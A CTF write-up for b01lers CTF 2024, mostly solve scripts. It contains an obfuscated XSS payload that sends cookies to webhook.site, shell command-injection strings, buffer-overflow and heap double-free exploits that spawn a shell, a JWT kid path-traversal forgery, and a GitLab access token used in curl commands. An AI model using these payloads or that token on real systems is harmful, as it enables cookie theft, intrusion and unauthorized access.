b01lers CTF 2024 Writeup

misc/wabash

$ ||cat${IFS}/flag.txt
sh: 1: wa: not found
bctf{wabash:_command_not_found521065b339eb59a71c06a0dec824cd55}

misc/bash cat with pipe

$ cat with | ls | xargs cat
bctf{owwwww_th4t_hurt}#!/usr/local/bin/python3
...

web/b01ler-ad

<script>window.location.replace(String.fromCharCode(104)%2BString.fromCharCode(116)%2BString.fromCharCode(116)%2BString.fromCharCode(112)%2BString.fromCharCode(115)%2BString.fromCharCode(58)%2BString.fromCharCode(47)%2BString.fromCharCode(47)%2BString.fromCharCode(119)%2BString.fromCharCode(101)%2BString.fromCharCode(98)%2BString.fromCharCode(104)%2BString.fromCharCode(111)%2BString.fromCharCode(111)%2BString.fromCharCode(107)%2BString.fromCharCode(46)%2BString.fromCharCode(115)%2BString.fromCharCode(105)%2BString.fromCharCode(116)%2BString.fromCharCode(101)%2BString.fromCharCode(47)%2BString.fromCharCode(57)%2BString.fromCharCode(99)%2BString.fromCharCode(97)%2BString.fromCharCode(54)%2BString.fromCharCode(98)%2BString.fromCharCode(48)%2BString.fromCharCode(49)%2BString.fromCharCode(48)%2BString.fromCharCode(45)%2BString.fromCharCode(98)%2BString.fromCharCode(56)%2BString.fromCharCode(48)%2BString.fromCharCode(99)%2BString.fromCharCode(45)%2BString.fromCharCode(52)%2BString.fromCharCode(102)%2BString.fromCharCode(48)%2BString.fromCharCode(98)%2BString.fromCharCode(45)%2BString.fromCharCode(98)%2BString.fromCharCode(51)%2BString.fromCharCode(50)%2BString.fromCharCode(56)%2BString.fromCharCode(45)%2BString.fromCharCode(57)%2BString.fromCharCode(102)%2BString.fromCharCode(99)%2BString.fromCharCode(99)%2BString.fromCharCode(101)%2BString.fromCharCode(57)%2BString.fromCharCode(56)%2BString.fromCharCode(49)%2BString.fromCharCode(50)%2BString.fromCharCode(102)%2BString.fromCharCode(100)%2BString.fromCharCode(101)%2BString.fromCharCode(63)%2Bdocument.cookie)</script>

rev/Annnnnnny Second Now

Since super_optimized_function is just the Fibonacci series, we can calculate the value in advance.

> cache=[],fib=x=>x<=1n?x:cache[x]?cache[x]:(cache[x]=fib(x-1n)+fib(x-2n));fib(BigInt(0x5a))
2880067194370816120n

Then we just use GEF with GDB.

gef➤  stub --retval 2880067194370816120 super_optimized_calculation
Breakpoint 1 at 0x555555555171
[+] All calls to 'super_optimized_calculation' will be skipped (with return value set to 0x27f80ddaa1ba7878)
gef➤  run
Starting program: /home/southball/ctf/B01lersCTF2024/Annnnnnny Second Now/Annnnnnny-Second-Now 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[+] Ignoring call to 'super_optimized_calculation' (setting return value to 0x27f80ddaa1ba7878)
bctf{what's_memoization?}

pwn/shall-we-play-a-game

BoF

from pwn import *

_r = remote("gold.b01le.rs", 4004)

win = 0x004011DD

p = b"A" * 158
p += p64(win)

_r.recvline()
_r.sendline(p)

_r.interactive()
# bctf{h0w_@bo0ut_a_n1ce_g@m3_0f_ch3ss?_ccb7a268f1324c84}

rev/js-safe

The code is obfuscated, so we use https://deobfuscate.io/ to deobfuscate the code and ChatGPT to make the variable names make sense. Then solve the password to be "p4wR0d".

> require("crypto-js").AES.decrypt("U2FsdGVkX19WKWdho02xWkalqVZ3YrA7QrNN4JPOIb5OEO0CW3Qj8trHrcQNOwsw", "p4wR0d").toString(require("crypto-js").enc.Utf8);
'bctf{345y-p4s5w0rd->w<}'

misc/B01lersParlay

$ git clone https://shazly:glpat-R-Td9nSxVAHW-72qxt5M@gitlab.com/b01lersparlay/GenerationalWealth
$ curl https://shazly:glpat-R-Td9nSxVAHW-72qxt5M@gitlab.com/api/v4/projects/56114917/secure_files?per_page=100
$ curl https://shazly:glpat-R-Td9nSxVAHW-72qxt5M@gitlab.com/api/v4/projects/56114917/secure_files/1070175/download
bctf{ruby_regex_is_goated_gitlab_api_is_cursed_6688}

misc/basketball-scholar

from PIL import Image
import numpy as np

older = Image.open('orig.jpg')
newer = Image.open('pete.png')

older = np.array(older)
newer = np.array(newer)

result = np.array([], dtype=np.bool_)

for i in range(older.shape[0]):
    for j in range(older.shape[1]):
        if (older[i][j][0] != newer[i][j][0] or older[i][j][1] != newer[i][j][1] or older[i][j][2] != newer[i][j][2]):
            # print(i, j, older[i][j], newer[i][j], newer[i][j]/older[i][j]==2)
            result = np.append(result, (newer[i][j]/older[i][j]==2))

bits = ''.join(list(map(lambda x: '0' if x else '1', list(result))))

def bits2a(b):
    return ''.join(chr(int(''.join(x), 2)) for x in zip(*[iter(b)]*8))

import base64
print(base64.b64decode(eval(bits2a(bits)).decode()))
# bctf{Go_b01lerCTFmakers!}

blockchain/burgercoin

contract stealer {
    function getToken(address addr) public {
        burgercoin b = burgercoin(addr);
        b.purchaseBurger();
    }

    function transferToMyWallet(address addr, address wallet) public {
        burgercoin b = burgercoin(addr);
        b.transfer(wallet, 1);
    }
}

Then we just deploy the stealer contract, call getToken and transferToMyWallet repeatedly until we have 30 burgercoins. We then call transferBurgerjointOwnership using our own wallet and transfer all our coins to another wallet, e.g. the stealer contract. The flag is bctf{you_made_b01lerburgers_go_bankrupt_rip}.

crypto/half-big-rsa

from Crypto.Util.number import long_to_bytes
from math import gcd

e = 8190
n = 665515140120452927777672138241759151799589898667434054796291409500701895847040006534274017960741836352283431369658890777476904763064058571375981053480910502427450807868148119447222740298374306206049235106218160749784482387828757815767617741823504974133549502118215185814010416478030136723860862951197024098473528800567738616891653602341160421661595097849964546693006026643728700179973443277934626276981932233698776098859924467510432829393769296526806379126056800758440081227444482951121929701346253100245589361047368821670154633942361108165230244033981429882740588739029933170447051711603248745453079617578876855903762290177883331643511001037754039634053638415842161488684352411211039226087704872112150157895613933727056811203840732191351328849682321511563621522716119495446110146905479764695844458698466998084615534512596477826922686638159998900511018901148179784868970554998882571043992165232556707995154316126421679595109794273650628957795546293370644405017478289280584942868678139801608538607476925924119532501884957937405840470383051787503858934204828174270819328204062103187487600845013162433295862838022726861622054871029319807982173856563380230936757321006235403066943155942418392650327854150659087958008526462507871976852849
c = 264114212766855887600460174907562771340758069941557124363722491581842654823497784410492438939051339540245832405381141754278713030596144467650101730615738854984455449696059994199389876326336906564161058000092717176985620153104965134542134700679600848779222952402880980397293436788260885290623102864133359002377891663502745146147113128504592411055578896628007927185576133566973715082995833415452650323729270592804454136123997392505676446147317372361704725254801818246172431181257019336832814728581055512990705620667354025484563398894047211101124793076391121413112862668719178137133980477637559211419385463448196568615753499719509551081050176747554502163847399479890373976736263256211300138385881514853428005401803323639515624537818822552343927090465091651711036898847540315628282568055822817711675290278630405760056752122426935056309906683423667413310858931246301024309863011027878238814311176040130230980947128260455261157617039938807829728147629666415078365277247086868327600962627944218138488810350881273304037069779619294887634591633069936882854003264469618591009727405143494184122164870065700859379313470866957332849299246770925463579384528152251689152374836955250625216486799615834558624798907067202005564121699019508857929778460

K = GF(n)
m = K(c).nth_root(e)
print(long_to_bytes(m))
# bctf{Pr1M3_NUM83r5_4r3_C001_bu7_7H3Y_4r3_57r0N6_0N1Y_WH3N_7H3Y_4r3_MU171P113D_3V3N_1F_7H3Y_4r3_b1g}

crypto/choose_the_param

from pwn import *
from Crypto.Util.number import long_to_bytes

# r = process(["python3", "chal.py"])
r = remote("gold.b01le.rs", 5001)

M, N = None, None

while True:
    r.recvuntil(b"Enter the bit length of your primes> ")
    r.sendline(b"60")

    n = int(r.recvline().decode().strip().split(" = ")[1], 16)
    e = int(r.recvline().decode().strip().split(" = ")[1], 16)
    c = int(r.recvline().decode().strip().split(" = ")[1], 16)

    (p1, _), (p2, _) = factor(n)
    phi = (p1 - 1) * (p2 - 1)
    d = inverse_mod(e, phi)
    m = pow(c, d, n)

    if M is None:
        M, N = m, n
        continue

    M_ = crt([M, m], [N, n])
    N_ = lcm(N, n)

    if M == M_:
        break

    M, N = M_, N_

print(long_to_bytes(int(M))[200:-200].decode())
# bctf{dont_let_the_user_choose_the_prime_length_>w<}

crypto/count_the_counter

from pwn import *
from Crypto.Util.number import long_to_bytes, bytes_to_long

# r = process(["python3", "chal.py"])
r = remote("gold.b01le.rs", 5002)

r.recvuntil(b"Treat or Trick, count my thing. \n")

ciphertext = r.recvline().strip().decode()

r.send((b"0" * len(ciphertext) + b"\n") * (257 - 2 + 1))

for i in range(2, 257):
    # print("Step", i)
    r.recvuntil(b"Give me something to encrypt: ")
    # r.sendline(b"0" * len(ciphertext))
    keystream = r.recvline().strip()
    if i == 256:
        print(long_to_bytes(bytes_to_long(bytes.fromhex(ciphertext)) ^ bytes_to_long(bytes.fromhex(keystream.decode()))).decode())
# bctf{there_is_a_reason_for_random_nonce_and_with_fixed_length_8c6bf5a1398d1f1d95f1}

crypto/Fetus-RSA

We can factorize nn using binary search as p2,p3,p4,p5p_2, p_3, p_4, p_5 are uniquely determined once p1p_1 is fixed. Once we factorized nn, we will get topG by determining dd after finding the order of GL(5,Z/nZ)\text{GL}(5, \mathbb{Z}/n\mathbb{Z})

from Crypto.Util.number import *
n = 515034877787990680304726859216098826737559607654653680536655175803818486402820694536785452537613547240092505793262824199243610743308333164103851365420630137187276313271869670701737383708742526677
e = 31337

bottomG = matrix(Zmod(n), [[247714609729115034577268860647809503348452679955541765864525644036519903244610407544592438833012659821363982836831477850927621505723503202914955484784761468695340160789629882004055804409080695867,331625142917011732363496584111977497826539848810596405639715608289185491230192921594585113936516744954068559616963395888825085234835086592835782522823153199824647815923311303312529222423487842184,55437288185949549641415195099137917985198178875175317590356850868652628068256771878957686344008331498612071069691453711091201145528626750365270496738628725699281809961803599963127434726167609435,514660916099185196031776141538776359410382339048282799109733569738126784171011249457518653961429789338579350043906060924939800730829826389077489637524528092592193187169747629063004980325000389554,432908737089369750416720813650504950741227543859957288298129130571557758647818791153409184252564534925607409378801765727301405467691263041798341098982058861749568674152447781841703730861074171486],
[104171307746966345345857299403770324392522334886728513788970028646835780770090370816961277474173463662053179135418083415763603092683905102293259569143230591686555033557056635683615214642425173517,281995809329109899498417283591516891672267505291547187769414960759245222376040526984420670509684233818236456944690830422135256653807646369718495017051487254128669606210585168140190305476396414836,448210297704655248563230644309382726474650012116320871206976601497778210586480264554625801730855872456388662647389829317946932942681549854741993522145903386318540208729036379511878276729211658861,399193502999265141959383452857091791757532600793923480036782294759164203783245516880539439411508616363396395258745387111132143827593272610961260623660064934154238955120293971424750525097551648180,448909699677346701183758951038319440723583288307818355958233994863175886710495171317606803723159576428485212274726596045235998230677229224379125716760136092533604817049730746550292371970711497032],
[10383824979618791372207750490225860866360446289011667617367731854443817405025701872398853456038612719059056477356275566409859556622099910727870579661815727983662245805512246175424036918556245316,3042212133475156282375315438954933898496627384941849067508473136817427432524109900983912625376319043681252528210663860374506706029777992048856493297280439498831646567645849063286941560111486091,303901520908845557762276355500926092138935908381564097855093945643653520650021074626397106363589843089839561176214123648988682404983806374183953260408815900582907133898417354283905163971086566554,385414980407334346707284477209921028250475161696209076212214696858828374481374774762344617183479700018626970039426895699261230837253656355202103718574806419224338390036737550645417315148014935208,172437598435610362668691083369422058178612127588567286669952095014310724933793758671802664372505747578789080527221296229242137567445447449560987571505575740311394634799579166058011734727404038041],
[459726837943530454128170171077760511486009487765694189770202436458018005866133157577824055980174845256397040485330898693944501922148000904627621334536523927325451030816598478315788682056071758797,318766645374831072244114015670117551595181174553017703335802708316885112551395705202907958737214488185739954176085085611052360624160681549561415131064529778955941226762589967588568203157586014646,485361005374731090711430490780588207888099824436671620066599360058262282812311497518237782819588602409946446254729349547214950452718084694554650900064587640931729162822096611158015732013679765115,442488981185685119421099225895492967006907103880489001122993678677306129218035946328038537612725434883858276836497639772750576738969390151812664236525222680918250542360570252193283310559820113337,294017672174100375503817924437430140826863578191649796300540064690169411498877218939778928997294952104395700469268399214549954967540991489929488976904050382049934179672641195866868009511101289284],
[394288980150370144394508377797340867635320394706221783789360450886862330500083595146934277232717671435601428999455723360437715407992902972393377872146437245909234935183690525050686313034961250106,174537062539250527750306397111216900339583030576848484858177223085331307339246744122607759453386390209872407563526999813562242756044330978624067706177762337375480164381575660119163723806663394768,167378817268639407255382001659131271694745168867873206910416580974376327982114272760583238198872032832961214636912981493082249850676384736073683786291369414678559758485110038329085571864758144806,479478683656492256273719495784577239188841595512723735000697935028851355713461770920044121053505358284609828319371252306609569657211738503902322975549066701614139339082341370785743668742796520457,468925056254460005965810812432459057693038841264871939568448625553319440670497244388153862616274082271409346691280049609288322448351851208172939513793874861880752049454593563028452119997997329883]])

def nextPrime(p):
    if isPrime(p):
        return p
    else:
        return nextPrime(p+1)

def factorize():
    lb = 1<<127
    ub = 1<<128
    while abs(lb-ub) > 1:
        x = (lb+ub)//2
        print(x)
        p1 = nextPrime(x)
        p2 = nextPrime(p1*1)
        p3 = nextPrime(p2*3)
        p4 = nextPrime(p3*3)
        p5 = nextPrime(p4*7)

        n_ = p1*p2*p3*p4*p5
        if n > n_:
            lb = x
        elif n < n_:
            ub = x
        else:
            return p1, p2, p3, p4, p5

p1, p2, p3, p4, p5 = factorize()

assert n == p1*p1*p3*p4*p5

qs = [p1**2, p3, p4, p5]
order = 1

for q in qs:
    for i in range(5):
        order *= q**5-q**i

d = pow(e, -1, order)

topG = bottomG**d

flag = b""
for row in topG:
    for num in row:
        num = int(num)
        flag += long_to_bytes(num)

print(flag)
# bctf{c0ngr4ts_y0u_35c4p3d_th3_m4tr1c3s, but really how? what color is your honda civic? sorry i just need to make this long.}

web/imagehost

  1. Generate RS256 public key as public.pem and private key as private.pem.
  2. Save https://evanhahn.com/worlds-smallest-png/ as small.png.
  3. Join small.png and public.pem with a line break to form upload.png.
  4. Upload upload.png.
  5. Using https://jwt.io/, sign the JWT with kid equal to ../uploads/<uuid>.png and admin equal to true.
  6. Download the flag image. The flag is bctf{should've_used_imgur}.

jwt.io

web/3-city-elves-writeups

";A=a;B=b;C=c;E=e;S=s;T=3;c${A}t app.py|he${A}d -c 176|t${A}il -c1>SLASH;re${A}d SEP<SLASH;${C}p ${SEP}flag.png as${S}ets${SEP}flag.png;${E}cho "

The flag is bctf{Lucky_you_I_did_not_code_this_stuff_in_Ruby_lasudkjklhdsfkhjkae}.

misc/cppjail

from pwn import *

N = 53

solution = ['b', 'c', 't', 'f', '{', 'Y', '0', 'U', '_', '4', 'r', 'E', '_', 'f', 'U', 'l', 'l', '_', 'o', 'f', '_', 'b', 'u', '1', '1', None, None, None, None, '_', 'C', '+', '+', '_', '1', 's', '_', '@', '_', 'h', '0', 'r', 'r', 'i', '8', 'l', 'e', '_', 'l', 'a', 'n', 'g', '}']

for i in solution:
    if i is not None:
        print(i, end="")
    else:
        print("*", end="")
print()

import sys
sys.exit(0)

for i in range(N):
    if solution[i] is not None:
        continue
    for c in range(32, 127):
        o = chr(c)
        # r = process(["python3", "compile.py"])
        print(i, chr(c))
        r = remote("gold.b01le.rs", 7003)
        r.sendlineafter(b"Input your code: ", f"Jail<bool>::lock<'{o}',{i}>j;static_assert(sizeof(decltype(j))==4);")
        line = r.recvline()
        print(line)
        r.close()
        if b"Prisoner 2" in line:
            solution[i] = chr(c)
            print(solution)
            break

print(solution)

and fill the unknown characters with *. The flag is bctf{Y0U_4rE_fUll_of_bu11****_C++_1s_@_h0rri8le_lang}.

pwn/easy-note

libc leak + double free

from pwn import *

_r = remote("gold.b01le.rs", 4001)


def alloc(where, size=0x20):
    _r.sendlineafter(b"Resize----\n", b"1")
    _r.sendlineafter(b"Where?", str(where).encode())
    _r.sendlineafter(b"size?", str(size).encode())


def free(where):
    _r.sendlineafter(b"Resize----\n", b"2")
    _r.sendlineafter(b"Where?", str(where).encode())


def view(where):
    _r.sendlineafter(b"Resize----\n", b"3")
    _r.sendlineafter(b"Where?", str(where).encode())
    _r.recv(0x10)
    return _r.recvline().strip()


def edit(where, size, content):
    _r.sendlineafter(b"Resize----\n", b"4")
    _r.sendlineafter(b"Where?", str(where).encode())
    _r.sendlineafter(b"size?", str(size).encode())
    _r.sendline(content)


alloc(0, 0x420)
alloc(1, 0x420)
free(0)

leak = u64(view(0).ljust(8, b"\0"))
main_arena_offset = 0x3EBC40 + 0x70 - 0x10
libc_base = leak - main_arena_offset
libc_base = libc_base - 0x37000 + 0x73000
print(f"{libc_base = :#x}")
libc = ELF("./libc.so.6")
libc.address = libc_base


alloc(0)
free(0)
free(0)

alloc(0)
edit(0, 0x8, p64(libc.symbols.__free_hook))
print(f"{libc.symbols.__free_hook = :#x}")

alloc(0)

alloc(0)
edit(0, 0x8, p64(libc.symbols.system))
print(f"{libc.symbols.system = :#x}")

alloc(0)
edit(0, 0x8, "/bin/sh")

free(0)

_r.interactive()
# bctf{j33z_1_d1dn7_kn0w_h34p_1z_s0_easy}

rev/catch-me-if-you-can

Read the Python bytecode file using dis.dis, comparing the disassembled code with that of a simple try-catch-finally loop. Optimize the calculation using matrix multiplication and fishy optimizations.

import os
import sys

sys.setrecursionlimit(2000000)

var5 = os.urandom(8)
var6 = 1

print("You're Lucky")
print("Here is your flag: ", end="")

var12 = [96, 98, 68, 160, 172, 115, 20, 108, 25, 122, 208, 71, 158, 63, 233, 59, 180, 165, 115, 203, 177, 17, 166, 196, 255, 127, 70, 172, 55, 11, 204, 20, 198, 31, 60, 167, 17, 1, 132, 106, 195, 19, 38, 151, 203, 163, 211, 27, 73, 98]

import numpy as np

MOD = 1000000007
MF = np.array([[1, 0, 0], [0, 1, 0], [0, 0, 1]])
for var16 in range(15):
    if var16 % 3 == 0 and var16 % 5 == 0:
        M = np.array([[0, 1, 0], [0, 0, 1], [1, 0, 0]])
        MF = np.dot(M, MF) % MOD
    elif var16 % 3 == 0:
        M = np.array([[0, 1, 0], [0, 0, 1], [1, 1, 1]])
        MF = np.dot(M, MF) % MOD
    elif var16 % 3 == 1:
        M = np.array([[0, 1, 0], [0, 0, 1], [1, 1, 0]])
        MF = np.dot(M, MF) % MOD
    elif var16 % 3 == 2:
        M = np.array([[0, 1, 0], [0, 0, 1], [1, 0, 1]])
        MF = np.dot(M, MF) % MOD

def matpow(M, n):
    if n == 0:
        return np.eye(3, dtype=int)
    if n % 2 == 0:
        return matpow(np.dot(M, M) % MOD, n // 2)
    return np.dot(M, matpow(M, n - 1)) % MOD

v = np.array([1, 2, 3])

MA = np.eye(3, dtype=int)

LMOD = (MOD ** 9 + 1) * 15

for var14 in range(0, 50):
    if var14 < 25:
        var6 = 3 ** var14
        pcom, prem = var6 // 15, var6 % 15
    else:
        ttl = (15 * pcom + prem) ** 3
        pcom = (ttl // 15) % LMOD
        prem = ttl % 15

    MA = matpow(MF, pcom) % MOD
    for var16 in range(prem):
        if var16 % 3 == 0 and var16 % 5 == 0:
            M = np.array([[0, 1, 0], [0, 0, 1], [1, 0, 0]])
            MA = np.dot(M, MA) % MOD
        elif var16 % 3 == 0:
            M = np.array([[0, 1, 0], [0, 0, 1], [1, 1, 1]])
            MA = np.dot(M, MA) % MOD
        elif var16 % 3 == 1:
            M = np.array([[0, 1, 0], [0, 0, 1], [1, 1, 0]])
            MA = np.dot(M, MA) % MOD
        elif var16 % 3 == 2:
            M = np.array([[0, 1, 0], [0, 0, 1], [1, 0, 1]])
            MA = np.dot(M, MA) % MOD

    v = np.array([1, 2, 3])
    v = np.dot(MA, v) % MOD

    var19, var20, var21 = v

    var23 = var12[var14] ^ (var19 & 255)
    print(chr(var23), end="")
    sys.stdout.flush()
# bctf{we1rd_pyth0nc0d3_so1v3_w1th_f4s7_M47r1x_Mu1t}